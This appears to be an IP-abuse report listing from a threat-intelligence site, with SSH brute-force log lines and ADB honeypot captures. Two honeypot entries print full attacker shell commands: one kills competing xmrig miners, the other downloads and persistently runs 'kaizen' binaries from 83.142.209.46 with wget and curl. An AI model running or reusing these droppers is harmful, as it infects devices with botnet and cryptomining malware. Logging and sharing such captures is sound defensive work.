|
🇷🇺
176.52.100.238
|
|
Jul 13 13:52:16 annelids sshd[1410277]: pam_unix(sshd:auth): authentication failure; logname= uid=0 ...
show more
Jul 13 13:52:16 annelids sshd[1410277]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=176.52.100.238 user=zero4ik
Jul 13 13:52:19 annelids sshd[1410277]: Failed password for zero4ik from 176.52.100.238 port 36438 ssh2
...
show less
|
Brute-Force
SSH
|
|
🇳🇱
160.119.76.64
|
|
Jun 22 21:49:24 annelids sshd[2314428]: Invalid user scan from 160.119.76.64 port 57732
...
|
Brute-Force
SSH
|
|
🇸🇬
35.197.142.128
|
|
INFO:ADBHoneypot:35.197.142.128 b'shell:z=$(top -n 1 2>/dev/null|grep -i "[x]mrig"|awk \'{if ($9=="0 ...
show more
INFO:ADBHoneypot:35.197.142.128 b'shell:z=$(top -n 1 2>/dev/null|grep -i "[x]mrig"|awk \'{if ($9=="0.0"||$9=="0"||$9=="0%") print $1}\');[ -n "$z" ]&&for p in $z;do kill -9 $p 2>/dev/null;done;d=$(ps|grep "[x]mrig-"|grep -v grep|awk \'{print $1}\'|sort -n);w=$(echo "$d"|wc -w);if [ "$w" -gt 1 ];then set -- $d;shift;for p in "$@";do kill -9 $p 2>/dev/null;done;fi;R=0;if top -n 1 2>/dev/null|grep -i "[x]mrig" >/dev/null;then R=1;fi;if [ "$R" -eq 0 ]&&ps|grep "[x]mrig-" >/dev/null;then R=1;fi;A=$(uname -m 2>/dev/null||echo unk);A=$(echo "$A"|tr -d \'[:space:]\');if [ "$R" -eq 1 ];then L=$(top -n 1 2>/dev/null|grep -i "[x]mrig"|head -n 1|tr -s \' \'|tr -d \'\\n\\r\'|sed \'s/"/\\\\"/g\');[ -z "$L" ]&&L=$(ps|grep "[x]mrig-"|head -n 1|tr -s \' \'|tr -d \'\\n\\r\'|sed \'s/"/\\\\"/g\');echo "[ADB_INFO];{\\"status\\":\\"ONLINE\\",\\"arch\\":\\"$A\\",\\"downloaded\\":false,\\"method\\":\\"N/A\\",\\"top\\":\\"$L\\"}";else TMP="/data/local/tmp";for p in /data/local/tmp /data/local /tmp /var/tmp /mnt/data /root /home;do mk
show less
|
Hacking
IoT Targeted
|
|
🇨🇭
209.99.188.148
|
|
Jun 13 23:14:17 annelids sshd[1814182]: Invalid user lxl from 209.99.188.148 port 51072
...
|
Brute-Force
SSH
|
|
🇱🇺
83.142.209.46
|
|
INFO:ADBHoneypot:{'eventid': 'adbhoney.command.input', 'input': 'sec=$(getprop ro.adb.secure 2>/dev/ ...
show more
INFO:ADBHoneypot:{'eventid': 'adbhoney.command.input', 'input': 'sec=$(getprop ro.adb.secure 2>/dev/null);sel=$(getenforce 2>/dev/null);[ "$sec" = "0" ]||[ "$sel" = "Permissive" ]||[ "$sel" = "permissive" ]||exit 0;for d in /data/local/tmp /data/local /dev /tmp;do cd "$d" 2>/dev/null||continue;for a in arm64 arm7 arm x86_64 x86;do wget -q http://83.142.209.46/a3f8d2/kaizen.$a -O .k 2>/dev/null;[ -s .k ]||busybox wget -q http://83.142.209.46/a3f8d2/kaizen.$a -O .k 2>/dev/null;[ -s .k ]||curl -fsSL http://83.142.209.46/a3f8d2/kaizen.$a -o .k 2>/dev/null;[ -s .k ]||continue;chmod 777 .k;printf \'#!/bin/sh\\nwhile true;do\\n[ -f .k ]||exit 0\\n./.k adb\\nsleep 30\\ndone\' > .w;chmod 777 .w;nohup setsid ./.w </dev/null >/dev/null 2>&1 &sleep 1;kill -0 $! 2>/dev/null&&rm -f .k&&exit 0;nohup ./.k adb </dev/null >/dev/null 2>&1 &sleep 1&&exit 0;rm -f .k .w 2>/dev/null;done;done', 'src_ip': '83.142.209.46', 'timestamp': '2026-06-10T01:51:21.179229Z', 'unixtime': 1781056281}
show less
|
Hacking
Bad Web Bot
IoT Targeted
|
|
🇰🇷
58.140.142.53
|
|
INFO:ADBHoneypot:Receiving binary file...
INFO:ADBHoneypot:File uploaded: dl/7a48c93c5cb63a09505a00 ...
show more
INFO:ADBHoneypot:Receiving binary file...
INFO:ADBHoneypot:File uploaded: dl/7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865.raw, name: , bytes: 46582
INFO:ADBHoneypot:{'eventid': 'adbhoney.session.file_upload', 'src_ip': '58.140.142.53', 'shasum': '7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865', 'outfile': 'dl/7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865.raw', 'filename': '', 'timestamp': '2026-06-09T06:09:39.760869Z', 'unixtime': 1780985379}
37/64 detections miner.mirai/malxmr
show less
|
Hacking
IoT Targeted
|
|
🇮🇳
103.68.17.232
|
|
INFO:ADBHoneypot:{'eventid': 'adbhoney.session.connect', 'src_ip': '103.68.17.232', 'src_port': 5536 ...
show more
INFO:ADBHoneypot:{'eventid': 'adbhoney.session.connect', 'src_ip': '103.68.17.232', 'src_port': 55368, 'dst_ip': '127.0.1.1', 'dst_port': '5555', 'timestamp': '2026-06-08T14:03:53.351793Z', 'unixtime': 1780927433}
INFO:ADBHoneypot:shell command is pm list packages, len 16
INFO:ADBHoneypot:103.68.17.232 b'shell:pm list packages'
show less
|
IoT Targeted
|
|
🇩🇪
43.228.157.6
|
|
Jun 7 04:41:26 annelids sshd[1453446]: Invalid user ubuntu from 43.228.157.6 port 44328
...
|
Brute-Force
SSH
|
|
🇩🇪
185.242.3.230
|
|
Jun 3 22:12:31 annelids sshd[1281219]: pam_unix(sshd:auth): authentication failure; logname= uid=0 ...
show more
Jun 3 22:12:31 annelids sshd[1281219]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.242.3.230 user=root
Jun 3 22:12:33 annelids sshd[1281219]: Failed password for root from 185.242.3.230 port 36734 ssh2
...
show less
|
Brute-Force
SSH
|
|
🇭🇰
23.140.244.57
|
|
malicious files on web server, most likely being mirai versions. be careful!
|
Hacking
IoT Targeted
|
|
🇭🇰
47.242.224.208
|
|
adb honeypot hit
|
Web App Attack
|